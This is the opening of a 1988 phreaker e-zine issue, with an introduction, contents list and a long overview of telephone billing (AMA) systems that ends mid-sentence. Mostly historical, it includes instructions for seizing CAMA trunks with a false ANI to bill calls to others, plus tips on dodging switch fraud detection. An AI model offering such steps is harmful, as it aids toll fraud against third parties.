The LOD/H Technical Journal, Issue #3: File 01 of 11

                          Released: October 21, 1988



                                     THE

                           LOD/H TECHNICAL JOURNAL
                           -----------------------


                                INTROUCTION:


    When putting together a high quality newsletter, it is sometimes difficult
to locate suitable articles and arrange with the author for transmission.
Difficulties of this type have caused this issue to be almost one year late.
All of the older articles have been updated to insure the latest, most
accurate information.

2600 Magazine update:

    Lex Luthors' Hacking IBM VM/CMS Systems article from Issue 2 has been
published in the November/December issue of 2600 of 1987.  Phucked Agent 04's
article on the Outside Loop Distribution Plant has been published in the
Fall/88 issue.  This brings the total up to 5 articles from the LOD/H
Technical Journal that they have published.  The others were CLASS by The
Videosmith, the TSPS Console by The Marauder, and Update #4 of the LOH Telenet
Directory. To subscribe to 2600, which is published quarterly contact:

2600
PO Box 762
Middle Island, NY USA  11953

Or call for more information: (516) 751-2600


You can find the Technical Journal on the following boards:

The Phoenix Project: 512-441-3088
Digital Logic   : 305-752-8645 (NEW USER PASS = RISC)

------------------------------------------------------------------------------

                     TABLE OF CONTENTS:

01 Introduction to the LOD/H Technical Journal          Staff             02 K
   and Table Of Contents for Volume 2, Issue 3


02 Understanding Automatic Message Accounting Part A    Phantom Phreaker  22 K

03 Understanding Auotmatic Message Accounting Part B    Phantom Phreaker  25 K

04 Update file: Shooting Shark's UNIX password hacker   Shooting Shark    03 K

05 An Introduction to Teradyne's 4TEL System            Doom Prophet      12 K

06 A Cellular Automaton Encryption System               The Mentor        29 K

07 Hacking the IRIS Operating System                    The Leftist       13 K

08 A Guide to Coin Control Systems                      Phase Jitter      08 K

09 A UNIX password hacker from USENET                   -------------     16 K

10 Reprint News Article: 'LOD BUST MYTH'                --------------    13 K

11 Network News & Notes                                 The Mentor        30 K


Total: 6 articles, 11 files   173 K

------------------------------------------------------------------------------


The LOD/H Technical Journal, Issue #3: File 02 of 11

           $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$
           L                                                   L
           O           AUTOMATIC MESSAGE ACCOUNTING            O
           D                                                   D
           $                       (AMA)                       $
           L                                                   L
           O                    An overview                    O
           D                                                   D
           $            Written by Phantom Phreaker            $
           L                                                   L
           O                  Legion Of Doom!                  O
           D                                                   D
           $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$

                              <part one of two>


    This article is meant to provide an explanation of Automatic Message
Accounting (AMA) and how it was/is used in the past and present.

    All information included in this file is correct to my knowledge, however,
if anyone notices any errors or has anything interesting to add, try to get in
touch with me one way or another and let me know.

    Hopefully this article will clear up any misconceptions about AMA that
have been circulating around on bulletin boards and by word of mouth. Keep in
mind, however, that the information here may not be applicable to your
specific area or telco. The information contained herein generally applies to
the BOC's, and if you are served by an independent telco, your method of
billing may differ.

    This article is aimed more towards the more experienced telecommunications
enthusiast. People with limited knowledge may have a hard time understanding
the information presented here. However, if you can contact me I will try to
answer any questions or clarify anything included in this article that isn't
understood.

    Information will be included in this article concerning the use of AMA in
the past. This is being done for people in older areas or areas served by an
independent telco that may still be using the old technology.


HISTORY
-------

    In the past, Call Detail Record (CDR) information was collected and
recorded by cordboard operators in a process known as manual ticketing. The
operator recorded this information by writing it down manually upon a
formatted record called a ticket. These tickets were sent to the appropriate
office where billing was handled. This manual ticketing process was
time-consuming, and was phased out with the introduction of electromechanical
switching.

    Before the advent of AMA, a magnetically operated counter called a message
register was associated with each subscribers line in a given central office.
This counter was responsible for counting the number of calls that each
subscriber made, for billing purposes. This message register was caused to
operate one or more times when the called party answered the telephone. The
way this works is when the called party answers, a reverse battery signal was
sent back over the trunk circuit to activate a relay in the originating office
which was responsible for the application of a 48-volt battery to advance the
message register the appropriate number of units. A local call is/was usually
one message unit, regardless of how long the call lasted.  Local calls to
further away areas were/are usually two message units.  Long distance calls
were handled either by cordboard operators, using manual ticketing, or by a
method not involving operators known as zone registration. With zone
registration, calls to different zones would cause the message register to
operate two or more times per time period. This would make the cost higher for
longer calls, and less for shorter calls.

    At the end of the billing period, each message register had to be manually
photographed to keep track of the number of calls made by that specific
subscriber. These photos were taken by a 35 millimeter camera that was known
as a Traffic Usage Recorder, and then sent to the same place that manual
tickets (prepared by operators) were.  However, this method of billing soon
grew costly and inefficient, so a new method, LAMA (Local Automatic Message
Accounting) was developed. Additional and more specific information shall be
included later in the article.

    In the late 1940's, the Bell System developed LAMA, which recorded the
billing information in a much more efficient manner. However, some end offices
did not have enough call traffic to warrant the installation of LAMA
equipment.  To solve this problem, CAMA (Centralized Automatic Message
Accounting) was developed in the mid 1950's. CAMA was different from LAMA in
that it was based in a toll or tandem office and could record the AMA
information for every end office that it served. More on LAMA and CAMA will be
included later in the article.

    Another development concerning AMA is the computerization of the system,
named LAMA-C or CAMA-C, for 'LAMA-Computerized' or 'CAMA-Computerized'. CAMA
had used paper tape perforators for a time before the magnetic tape method was
introduced with CAMA-C. LAMA-C is a computerized version of LAMA which also
uses magnetic tape (LAMA-C is still used today). LAMA and LAMA-A (previous
versions) used paper tape, although LAMA-A was more efficient.

    LAMA, LAMA-A, CAMA, and CAMA-C were all part of the AMARS, the Automatic
Message Accounting Recording System. However, a newer term for more modern
setups is the AMACS, for Automatic Message Accounting Collection System. The
AMACS includes end office AMA systems, a recent introduction called the AMARC
(AMA Recording Center), AMARC sensors from end offices to the AMARC, the data
links used to transmit billing information, and data recievers located at the
AMARC site. The AMARC is a product of the new age of computerized technology
as it applies to the telecommunications systems used in our society.  Still,
LAMA and CAMA and their different versions shall be described and explained to
help people understand how they were/are used.


LAMA
----

    LAMA is described by Notes on the Network (1983) as 'A process using
equipment located in a local office for automatically recording billing data
for message rate calls and for customer-dialed station to station toll
calls'.  What this is means is that if your CO uses LAMA, and you are on a
single party line (most people are), all 1+ toll calls will be billable by
LAMA equipment, and all calls coming from message rate lines. A message rate
line, for those of you not familiar with the term, is a telephone line that
has the ability to receive incoming calls, but all outgoing calls will cost
the subscriber. The subscriber pays for basic service (the ability to receive
calls) with the consideration that all other calls (even local ones) will cost
a certain amount of money per call. Many subscribers in several major cities
get this feature automatically, and thus phone bills are generally higher in
these areas.

    LAMA originally recorded billing information on punched paper tape, in a
version known as LAMA-A, but now magnetic tape is generally the format used in
places where LAMA-C equipment is used.  The paper tape perforators that
recorded the CDR data in LAMA-A were noisy, and they needed maintenance due to
their electromechanical construction. The magnetic tape method is much more
reliable, and quieter as well.

    If a persons End Office uses LAMA, then all toll calls from all lines and
all local calls from metered rate lines are recorded on the LAMA tape, with a
few exceptions. LAMA can only be used to record AMA information for one and
two party lines. On other party lines such as three and four party, the
originating caller has his/her number identified by an operator via the ONI
(Operator Number Identification) method. It is not been determined by the
author if the BOC (Bell Operating Company) operators such as TOPS (Traffic
Operator Position System, made by Northen Telecom Inc. of Canada) or MPOW
(Multi-Purpose Operator Workstation, by US West) operators would be used for
this ONI or not. I would guess that AT&T TSPS operators would handle an
inter-LATA toll call, and that the BOC TOPS/MPOW operators would handle the
ONI for an intra-LATA call (my reasoning behind this statement is the fact
that whenever I have had an ONI due to equipment failure, which is similar to
ONI needed, only the ANI outpulsing was garbled, the called number was still
transmitted in the correct fashion.  I am assuming that the end office
switching system would route the call to the correct operator position by
matching the NPA-NXX with some sort of internal table which makes a
distinction between intra and inter-LATA calls). Anyway, these calls had their
AMA information sent from the appropriate operator position to the toll office
that served the 3+ party line, onto CAMA tape.  Another instance in which a
LAMA office may use CAMA instead is when an ANIF (ANI Failure) occurs. If the
ANIF is sent to TSPS, then that TSPS will record billing information upon CAMA
tape by using ONI. It seems that AMA information that has been recorded by an
operator is buffered and stored until it is time to send the information to
the appropriate places for processing. In the case of AT&T TSPS operators, the
TSPS had it's own magnetic tape which was sent to the RAO (Regional Accounting
Office, formerly called Revenue Accounting Office) on a regular basis. I am
not sure if this method is still used or if TSPS AMA has been updated or
enhanced in some way.


EXAMPLES OF LAMA USAGE
----------------------

    The following is the call flow procedure in a LAMA-A (paper tape) system.

    After a customer completes dialing, the dialed number (the called number),
the originating class of service, Line Equipment Number (LEN), and call type
are sent from the switch to the AMA equipment.  Translations, such as figuring
the billing telephone number from the Line Equipment Number, are done. The
information that comes from the translations procedures determines which paper
tape perforator shall be used to record the data for this specific call. A
record of the initial information gathered is called the initial entry. The
last line of the initial entry contains a two digit code called a Call
Identity Index, which identifies telco equipment such as the trunk or district
junctor that will be used for that call.

    When the call is answered, another entry is made, called the answer
entry.  This entry is a single line on the paper tape and has the CII and the
exact time that the call was answered on it.

    The last entry on the paper tape is known as the disconnect entry.  This
entry contains the CII and the exact time that the call ended.

    The CII is important because it is what the RAO used to group together all
the data about a given call. Entries are recorded at different times in a LAMA
system, they are not in sequential order, so the CII makes it easier to find
all three entries for a specific call.

    This method of recording AMA information required the RAO to 'unshuffle
the deck' when it came time to organize the AMA information. The variations in
the AMA recording formats used by different switching systems eventually led
Bellcore to develop a standard AMA format, named the Bellcore AMA Format
(BAF).  More information will be included about this format later in the
article.

    In a No. 5 Crossbar switching system, the AMA setup used special purpose 3
inch wide paper tape on which AMA records were recorded by CO equipment. This
method of recording is for the stone ages, as it has been phased out by almost
every BOC. Similar to the LAMA-A call flow, this method of AMA used three AMA
entries. The first one was the customers service information, which included
the calling and called telephone numbers, the second one was recorded when the
telephone was answered, and the third one was recorded at disconnect.  This
also made the job at the RAO a bit harder, as again, they had to 'unshuffle
the deck'.

    The No. 2 ESS introduced the latest magnetic tape recording technology
that was available at that time. The 2E used 200 BPI, 7 track mag tapes, and
it introduced special data coding conventions.  It's technology and
conventions are still in use today, but I think that the BPI and number of
tracks have been increased. The 2E mimics the No. 5 Crossbar AMA method by
recording three entries and interleaving them on the magnetic tape. Data
common to all calls on a tape (such as date, CO info, etc.) are recorded in
special tape headers. The No. 2B ESS was introduced with the same AMA
technology as the 2E, but a 2B that provides equal access capabilities for
interexchange carriers adds a new data entry to the three used by the 2E. This
new entry reports the time of connection of a carrier to the local network,
which is needed for carrier access billing.

    The No. 1 ESS modernized the AMA process even more. The 1E used 200 BPI,
nine track tape. The 1E provides data collection memory registers for AMA
information on applicable calls. A register is assigned to an AMA call and
kept open for the call's duration. This register collected most of the billing
data that was needed. The AMA information was then written to magtape at the
time of disconnect.  This made it easier for the RAO to process. The AMA
format used by the 1E uses variable length records whose fields occur for the
most part in a general, preset pattern. Eventually, though, even the 1E AMA
method was found to be slightly faulty. This was due to high processing costs
at the RAO and the problem of tape headers getting erased from the tape. The
BAF was made to solve the problems that are associated with other AMA setups.
An update to the BAF is called the EBAF, or Extended Bellcore AMA Format. The
main difference between the BAF and EBAF is that EBAF is more flexible and can
be used easier, as the BAF uses a defined structure for storing data. The EBAF
can append other information to the end of an AMA record, and this makes it
more flexible.


ANI FORMATS
-----------

    The ANI formats outpulsed in a LAMA arrangement are as follows (assume
that the call being shown for an example is being dialed from a home
telephone, as dialing from coinphones would cause different ST signals to be
sent; also the type of signaling in this case is SF in-band):


                      CALLED number:KP+(NPA)+NXX+XXXX+ST

                       CALLING number:KP+I+NXX+XXXX+ST


    The second format is the ANI associated with LAMA and is sent to the LAMA
equipment after the ANI receiving trunk winks. The NPA included in this
example is optional and only needed if the subscriber is making a call to a
Foreign NPA (FNPA). The complete called number is not included in all cases,
as when an AMA setup is configured for bulk-billing. In bulk-billing, the
entire called number is not recorded, but just enough for billing purposes.
The CALLING number is the number that the subscriber is dialing from.  These
two numbers are sent in Multi Frequency (MF) tones to MF receivers located
within a CO. The I in the ANI is an information digit, and these shall be
explained later in the article.

    One may wonder how a CO knows which lines it serves are message rate lines
and which are flat rate. On electromechanical switches such as Step by Step,
No. 1 and No. 5 Crossbar (it should be noted that there are no remaining panel
switches within the Bell System), there is an electronic line card associated
with each Directory Number which holds information relevant to that line.
These cards have to have any type of change hardwired into them. However, in
digital/ electronic switching systems, there are Line Class Codes which
reflect information about each subscribers line. There are many, many of these
codes.  Some of the more common and interesting ones are listed below:


    LCC                                          EXPLANATION
    ---                                          -----------

    1FR                         Single party Flat rate Residential
                                line

    1MR                         Single party Metered rate residential
                                line

    1CF                         Single party Coin First coin
                                telephone

    1OF                         Single party Official (telco) line

    1FB                         Single party Flat rate Business line

    1MB                         Single party Metered rate Business
                                line


    These codes can be found for a line in several places, such as certain
fields in telco computer output reports. COSMOS and LMOS are two such
computers that hold this information. If you find COSMOS printouts or have
access to COSMOS, these Line Class Codes will be listed under the 'LCC' field
in an ISH, INQ, or other inquiry.  Sometimes the data in the LCC field will
match or be similar to the data in the US field, which is a USOC (Universal
Service Order Code).  A USOC and an LCC aren't the same thing though.


CAMA
----

    CAMA operates along the same basic principle that LAMA does, except that
CAMA is based in a toll or tandem office (class 4). CAMA is made to be used in
areas where it would be costly to implement a LAMA arrangement for each and
every class 5 office. This is because some end offices did not have enough
traffic to warrant the cost and work required to install LAMA equipment. LAMA
setups can/could be found in abundance in rural areas near large cities.

    The first letter in each of the acronyms (L)AMA and (C)AMA describes the
usage of each. (L)AMA, for Localized, in a local central office, and (C)AMA
for Centralized, in a toll office.

    The outpulsing formats to CAMA are similar to the LAMA ANI outpulsing. The
outgoing trunk to the serving CAMA office from the end office sends the called
DN in the format of KP+(NPA)+NXX+XXXX+ST.  Next, the incoming CAMA trunk
requests the end office to send the calling number. This is sent as
KP+I+(NPA)+NXX+XXXX+ST, where the I is an information digit which gives
information about the status of the process, and the NPA may or may not be
needed, depending upon the setup. The information digits that follow are used
in ANI outpulsing to Local and Centralized AMA. They are:


    0-Automatic Identification (a normal call, with no special
      treatment);

    1-Operator Identification (ONI-call is sent to an operator who
      requests the customer to give the number they are calling from);

    2-Identification Failure (ANI Failure, handled the same way as
      ONI).


    The ONI due to ANIF and normal ONI which is used on certain party lines
are kept track of. If too many ANI Failures happen, then a report will be
generated indicating this fact. ONI needed is more standard and ordinary, and
thus safer for the telecommunications enthusiast. This information can be put
to a good use, as if you find an outgoing CAMA trunk when you are boxing, you
can place calls over it by using the above CAMA formats. The only limiting
factor is that the NXX of the calling number that you sent for ANI must be an
office that is served by the particular CAMA offices trunk that you are using.

    Note that CAMA is not used much anymore, it was mainly used with Electro-
Mechanical toll switches such as the No. 4A Crossbar, and the Crossbar Tandem
(XBT). I don't think there are any XBTs or 4As in operation in the AT&T toll
network, but CAMA may be used by independent telcos, or by telcos in rural
areas that serve only a small number of central offices. In an independent
telco setup, a CAMA arrangement may be used, but not in the same way as AT&T
has used it. The centralized location may not be a toll office, it may just be
the largest CO in that companies network. There can be several variations.
CAMA was originally introduced to work with and in conjunction with ANI, thus
the original term for the process, CAMA/ANI. For a complete description of ANI
in electromechanical switching systems, see one of the older issues of Phrack
Inc. newsletter for a file written by Doom Prophet and myself, titled
'Automatic Number Identification'. I have seen CAMA mentioned in recent telco
information, so I assume that CAMA is still in use, at least in some places.
Supposedly a way to determine if you are on CAMA is to dial local numbers, and
send 2600Hz.  If you can seize a trunk, then it is likely that you are served
by CAMA. You can then pick local exchange codes, (NXX), dial them, seize a
trunk, and then MF using the CAMA format included above, sending a false ANI
for one of the local exchanges. If you do this, I suggest that you don't send
the ANI of a resident. Use non-working numbers, disconnected numbers, payphone
numbers. I am not sure if there is any check done upon the number sent in ANI
by the toll office or not, but it is probable that the local switch is
responsible for screening out invalid numbers and such. So if you can get on a
CAMA trunk then you have the power to bill calls to anyone else who is served
by a CO that homes in on the same toll office and uses the same CAMA
equipment.

              <end of part one>
The LOD/H Technical Journal, Issue #3: File 03 of 11


             $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$
             L                                                   L
             O           AUTOMATIC MESSAGE ACCOUNTING            O
             D                                                   D
             $                       (AMA)                       $
             L                                                   L
             O                    An overview                    O
             D                                                   D
             $            Written by Phantom Phreaker            $
             L                                                   L
             O                  Legion Of Doom!                  O
             D                                                   D
             $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$

          <part two of two>


     The standard AT&T Toll office switch, the No. 4 ESS, is also equipped to
handle CAMA if necessary. The CAMA procedure is as follows: Call data for the
CAMA call is kept in a buffer (technically called an Accounting Block (AB))
which then stores the entry upon a nine track 800-bpi (bits per inch) AMA tape
(note: the information used in research for this part of the article was
rather old, so the bits per inch has probably increased). The data that are
kept in this buffer and put on the tape are as follows: the calling DN, the
called DN, answer and disconnect times accurate to 0.1 second, and other misc.
information. The callers DN can be entered into the 4ESS in two ways, ANI or
ONI. ANI is of course the normal method for identifying a callers DN for
billing purposes. ONI is used when there is an ANIF, or when it is needed (the
other equipment cannot get the DN with ANI). When the 4E gets an ANIF or an
ONI needed, it sends the call to a TSPS operator, who should ask the caller
for their number. When an operator gets an ONI situation 'from' a 4E, she uses
two types of trunks, a talking trunk, and a keying trunk. The talking trunk is
what the subscriber comes in upon and is the line over which the operator asks
for the callers DN. The keying trunk originates at the 4E and terminatates at
TSPS, and is what is used to send the callers DN (in MF) to the 4ESS office.
The operator has access to both trunks at the same time, thus she can enter
the number in a quick and orderly fashion.

    When a line classification does not fit into the 'one information digit'
(KP+I+NNX+XXXX+ST) category, two information digits are used. When two are
used, they are called screening codes. Screening codes are outpulsed along
with the ANI for certain types of telephone lines, and when ANI is being sent
to an alternate carrier via 'Equal Access' (Feature Group D, 1+ dialing).
These screening codes are two digits and precede the subscribers DN. An
example of screening code outpulsing is as follows:

                               KP+II+NNX+XXXX+ST

    The II represents two information digits that precede the callers number.
Some of the more common screening codes are as follows:

      KP+00+NXX+XXXX+ST     Normal telephone call, identified POTS line;
      KP+01+NXX+XXXX+ST     ONI needed on a multiparty line;
      KP+02+NXX+XXXX+ST     ONI needed due to ANI Failure;
      KP+07+NXX+XXXX+ST     Hospital, inmate type telephone;
      KP+08+NXX+XXXX+ST     Line restricted from dialing inter-LATA;
      KP+10+NNX+XXXX+ST     Telco test call;
      KP+20+NNX+XXXX+ST     Automatic Identified Outward Dialing centrex call;
      KP+27+NNX+XXXX+ST     Coin telephone call.


    These double digit outpulsing formats are used in Equal Access areas, and
a similar method of outpulsing is used when customers deal with TSPS
operators.
    For more information, see the July, 1987 issue of 2600 Magazine, an article
entitled 'How phreaks are caught'.

AMARC
-----

    The AMARC, or Automatic Message Accounting Recording Center, is a fairly
modern development toward recording billing information. It offers the telco
several advantages to the older electromechanical setups, such as increased
revenue (always a plus in their eyes), reduced RAO processing costs, a new
computerized format that stores data on 1600 bpi, industry compatible magnetic
tape, elimination of loss due to paper tapes being destroyed, and elimination
of per-office paper tape pickup and delivery.


THE NO. 1 AMARC
---------------

    The first version of the AMARC was the No. 1 AMARC, which received billing
data on a real-time basis over dedicated data links. It was based on two DEC
PDP-11/40 minicomputers. The No. 1 AMARC controls and recieves data from a
maximum of thirty dedicated channels. A channel consisted of a dedicated line
(probably a Private Line service) equipped with a 202T data set, operating
asynchronously at 1.2 kbps. The No. 1 AMARC had a feature which allowed it to
call, over the DDD network, a backup channel in case one of the normal
channels experienced a failure. This backup channel could be reached by anyone
who had the phone number. It has not been determined by the author if there
was/is any security on these backup channels.


THE NO. 1A AMARC
----------------

    Eventually, it was decided that more data channels were needed, and that
the AMARC computer could be centralized, and not clustered in administrative
centers, as was the procedure. The No. 1A AMARC fulfilled the telco's needs.
The No. 1A AMARC uses a higher capacity minicomputer, the DEC PDP-11/70, and
Western Electric peripheral equipment to provide ninety input channels,
improved maintenance capabilities, and room for growth in several areas. The
first No. 1A AMARC began operation in 1981 in the Chicago area.

    An important feature common to both the No. 1 and No. 1A AMARC was the
ability to recieve billing information electronically over dedicated lines
from central office switches. Equipment located in central offices called
sensors send this data. There are different types of sensors for different
types of switching equipment, but the most common AMARC sensors shall be
listed here.


    The Call Data Transmitter (CDT). The newest AMARC sensor. The CDT is a
microprocessor based system which is used to collect data from No. 5 crossbar
offices. It is designed to be used in systems that do not have LAMA-A and do
not have enough traffic to warrant the expense of installing the No. 5 ETS.
It can be used with other sensors, and is not the only kind used in No. 5
crossbars. The first one was cut over in Illinois in 1980.

    The Call Data Accumulator (CDA). Similar to the CDT, but uses wired logic
control. The CDA, which collects AMA information from SxS switches, was the
first sensor to be made for use with the AMARC. This sensor is connected to
the ring, tip, and sleeve leads in a SxS switch, probably at the MDF. The
first CDA was cut over into service in New York in 1975.

    The Billing Data Transmitter (BDT). Used in electromechanical offices,
such as the Nos. 1, 5, 4, and 4A Crossbar, SxS CAMA, and the Crossbar Tandem
(XBT).  The BDT replaced up to 10 paper tape perforators that were previously
used.  Provides a newer alternative to LAMA-A. The BDT recieves billing data
from the older LAMA-A paper tape recorder circuits and sends them to the
AMARC. The first BDT was cut over in New York in 1976.

    The No. 5 Electronic Translator System (ETS). The No. 5 ETS was added to
No. 5 Crossbar systems to provide some electronic switching functions that
were not present before. These functions are things such as line, trunk, and
routing translations provided by software methods rather than wired cross
connections.  The No. 5 ETS consists of duplicated Western Electric 3A
auxillary processors with associated scanners and distributors. The first No.
5 ETS was installed in Ohio in 1977.

    VIDAR, a special sensor used in Crossbar No. 1 offices. VIDAR does not
interface with the AMARC but instead sends data to it's own tape. This tape is
then sent to the RAO on a regular basis.

    These various sensors are specially designed electronic units which are
part of or connected to class 5 offices. These sensors collect and generate
billing data from the office they are used with. The billing data consist of
answer and disconect times, call type, and the amount of measured local and
toll calls made.

    Some offices have added sensors, but exceptions include several ESS
systems which use SPC (Stored Program Control) to send data to the AMARC. SPC
means that the sensor is built into the switch software and that no other
equipment is needed. An example of this is the NTI DMS-100 switch. Nos. 2, 2B,
3, 3B, and No. 5 ESS also do not have special AMARC sensors, but send data to
the AMARC over a synchronous connection via a SPUC/DL (Serial Peripheral Unit
Controller /Data Link) at speeds of 2.4 and 4.8 kbps. There is another part in
the 2B ESS AMARC data link, called the AMARC Protocol Converter (APC). The APC
is a medium between the SPUC/DL and the AMARC.

    The No. 4 ESS, TSPS, 1ESS, 1AESS, and 2ESS switches don't have AMARC
sensors, and aren't even connected to the AMARC. These switches all have their
own AMA systems, from which the data is sent to the RAO regularly. Another
exception is the DMS-10 Remote Switch, which is connected to a device at the
RAO called a collector.

    There are other options possible when dealing with AMA collection, such as
the Distributed Call Measurement System (DCMS) made by a telco equipment
vendor, which acts like a mini-AMARC, and Northern Telecom's Distributed
Processing Peripheral system, which is used to collect billing data from NTI's
DMS switches. These systems can be used where applicable.


RECENT DEVELOPMENTS
-------------------

    In places where magnetic tape has been phased out, a new method of storing
the AMA data called AMA TeleProcessing Systems (AMATPS) has been implemented.
AMATPS overcomes the disadvantages of magnetic tape (such as the sequential
way the data is recorded, the high-density data losses that may happen, and
the sometimes unseen problems with the tape unit) by using random access disk
drives. AMATPS also adds some new system parts which can make the job easier.
Still, some AMATPS are not used to their full capability and can still present
problems to the telco.

    One of the parts that AMATPS adds to the overall AMACS is the use of AMA
Transmitters (AMAT's). These transmitters are added to the sensors, and
increase the power of the overall setup by providing things such as temporary
storage areas and programming applications. AMAT's are generally PC-sized
machines with two disk drives, and 50-150 megabyte hard disks.

    The second important addition is the collector. The collector acts like
the AMARC by polling the AMAT over data links. The collector, like AMARC, is a
centrally located computer system, usuallly running on an IBM Series 1, an
HP-1000, or an AT&T 3B5.

    Teleprocessing systems are made to understand a common AMA language format
made by Bellcore, the Bellcore AMA Format and Extended Bellcore AMA Format.
These were mentioned in part A of this article.


BOC/AT&T INTERACTION
--------------------

    Since the majority of people are served by AT&T, one may wonder how inter-
LATA call data gets to the given Inter-LATA Carrier (IC), in this case, AT&T.
AT&T has its own AMA collection system, which is called BILDATS (BILling DATa
System), and this is what collects the AT&T data. I would guess that each AT&T
toll office has some sort of interface with this computer system, but I have
no solid proof of this. It has also been suggested to me from a reliable
source that AT&T sends each BOC their own magnetic tapes, which the BOC's then
fill with AT&T's billing information. I am not sure which of these methods is
used.

    The BOC billing information takes a different route, however. On a regular
basis (I believe each day), AMARC tapes are sent to the Regional Accounting
Office (RAO) or billing office, where each customers intra-LATA traffic is
calculated and their telephone bill printed and mailed. The customer then
recieves the bill and goes about whatever method of payment he chooses.
Telephone bills can usually be paid in person in many different places in
large cities, or they can be mailed in directly if the customer wishes. In my
area, the customer pays once, which is a total of his AT&T and BOC bill. This
is payable to the BOC, and AT&T then gets their payment from the BOC. In the
case of independent carriers such as US Sprint, MCI, ALC Communications, and
the like, I cannot say for sure what they all do as there seems to be no
standard procedure for this interaction, but in two instances, two specific
RBOC's (US West and BellSouth) handle FG-D Equal Access style billing for MCI
throughout their serving areas. There is a computer system involved in this
alternate carrier billing cycle, called the Carrier Access Billing System
(CABS). This system calculates the prices bases on tariffs in use, and bills
the carriers on a monthly basis accordingly. I am not sure how widespread the
use of this sytem is, though. When the customer receives his MCI bill along
with his BOC bill he can pay them both at once. I would imagine that the
larger long distance services would be able to afford getting this service
from the RBOC's, while the smaller ones with less money would do it by
themselves, which would probably be a slow, drawn out process. In some cases,
dialing via an alternate carrier (other then your primary one) will cause the
billing cycle to take anywhere up to three months to complete, or even more.
Another interesting note about alternate carrier dialing, some carriers do not
start billing until a specific amount of time has elapsed. This is known as
buffer-zone billing. I know of one company that uses a 45 second buffer zone,
but I am not sure what the other companies use. You can find this information
out by talking to a customer service department, however some companies CS
departments either don't know, or they do not wish to tell the customer (or
'potential' customer). With buffer zone billing (assume 45 seconds in this
case), you will be billed for the call if you let the phone ring, listen to a
busy signal, etc. if the duration of the call is greater than or equal to 45
seconds. Many of the ICs that use this type of billing do not have the
equipment to detect answer supervision, so if you can keep a conversation very
short, you may get away with a free call, without breaking any laws.


CALL CREDITING
--------------

    When you receive credit for improperly placed long distance calls from an
operator or a telco business office (after you receive your phone bill)
certain things happen.

   Operator crediting involves the operator entering a special flag on an AMA
tape to deduct the specific amount of given charge from the subscriber's
telephone number. I believe that this process involves (with AT&T TSPS) the KP
TRBL key, and (with NTI's TOPS) the KP TRBL and the CHG ADJ (charge adjust)
keys.

   Business office crediting happens when you call the business office and
talk to a BOC 'service representative'. This person will then enter your
telephone number into a terminal, using the DOE (Direct Order Entry) system,
which is in use in my area. The billing record information comes from a
computer called CRIS (Customer Record Information System), which is accessed
by BOSS (Billing and Order Support System). BOSS has a link to computer
systems at the RAO, as this is how the customer's toll data gets to the
business office. A service representative can then pull up your toll charges
and correct them with appropriate credit entries.


SECURITY  (EVERYONE READ THIS PART)
-----------------------------------

    There have been several rumors going around about AMA and it's relation to
people who commit toll fraud, and I will attempt to clarify these rumors. It
is possible that a billing tape could be used to try to find out who called a
certain number at a given time. Another way AMA tapes/disks could be used as a
record of someone committing toll fraud would be if this person would happen
to be under a newer switch, such as the DMS-100, and they attempted to use a
blue box without knowing the dangers of it (I will speak only on the DMS-100
because when a older switching system is replaced with a new one, the most
common replacements are the AT&T No. 5 ESS and the Northern Telecom DMS-100
Family of switching systems). DMS-100 does indeed have the capability to
record a blue boxer's MF tones in an AMA record if the boxer doesn't know what
he is doing.  1AESS also has blue box detection features. I am not sure about
other switching systems, but I would guess that most of the newer switches
have some sort of blue box fraud detection features, of course the end user of
these switches (the telco) does not have to use them. However it is difficult
to find out if your CO uses anything of this nature unless you are a good
social engineer or have access in some way to the switch or switch output
messages and know what to look for. For instance on the Northern Telecom
DMS-100 switching system, there are a series of reports known as BLUEBOX
reports which (if in use) will inform the telco of blue boxing activity. The
DMS-100 also has AMA options that can detect certain forms of electronic toll
fraud, such as black and blue boxing. These options can be set any way the
telco wants. These AMA options can be printed on a DMS-100 switching
system,onto hardcopy terminals, or onto a data channel which may send the
Output  Messages (OMs) to a telco computer system such as the Switching
Control Center System (SCCS). These options are printed in an AMA118 OM at
midnight. If an AMA option is in use by that particular switching system,
after the name of the option will be a data field that says ACTIVE. If the
option is not in use, the field will say INACTIVE. An example of an AMA118 OM
is reproduced here.

  AMA118 JUL23 12:00:00 2234 INFO AMA-OPTIONS
     AUDIT:       ACTIVE
     CALL-FWD:    ACTIVE
     CDAR:        INACTIVE
     CHG411:      ACTIVE
     CHG555:      ACTIVE
     COIN:        INACTIVE
     DA411:       ACTIVE
     ENFIA-B-C:   INACTIVE
     FREECALL:    INACTIVE
     HIGHREV:     INACTIVE
     INWATS:      ACTIVE
     LNID:        INACTIVE
     LOGAMA:      INACTIVE
     LOGOPT:      ACTIVE
     LONGCALL:    ACTIVE
     LUSORIG:     INACTIVE
     LUSTERM:     INACTIVE
     OBSERVED:    INACTIVE
     OCCOVFL:     ACTIVE
     OCCTERM:     ACTIVE
     OUTWATS:     ACTIVE
     OVERFLOW:    ACTIVE
     SST:         ACTIVE
     TIMECHANGE:  ACTIVE
     TRACER:      ACTIVE
     TRKID:       INACTIVE
     TWC:         INACTIVE
     UNANS-LOCAL: INACTIVE
     UNANS-TOLL:  ACTIVE


    The most important ones for phreaks to know about are INWATS, LONGCALL,
SST, UNANS-LOCAL, and UNANS-TOLL. INWATS means that calls to 800 numbers are
noted in an AMA record. As far as I know, this option is a required one, at
least since Bulk Change Supplement 23 (BCS23). LONGCALL will flag long calls
in an AMA record. So if it seems to the switch that someone has been on the
phone for a long time, this will be logged. A possible use for this would be
to detect trouble conditions. This option, used in past switching systems, may
have been the cause of many blue box busts. Someone would box for several
hours using the same number (for instance, Directory Assistance) and this may
have been noted by the switch. Another way I think old time boxers may have
been nailed is from boxing off of DA. As you can see in the above listing,
there are several options that probably make AMA entries for calls to DA. If
the length of a call to DA lasts longer than a certain amount of time, the
telco could possibly detect this and attach a monitoring device upon the
suspected persons telephone line. The AMA option 'SST' may also be responsible
for blue box busts in the recent past. SST stands for Short Supervisory
Transition, and an SST is known to the phreak world as a wink. SSTs are
generated when a blue boxer seizes a trunk. The switch can detect these and
log them in an AMA record if the option is set to ACTIVE. SSTs are not solely
caused by boxers, though, as equal access offices can generate a lot of SSTs
in normal operation. I believe that trunking arrangements with ICs (InterLATA
Carriers) are often responsible for triggering these. One toll office I knew
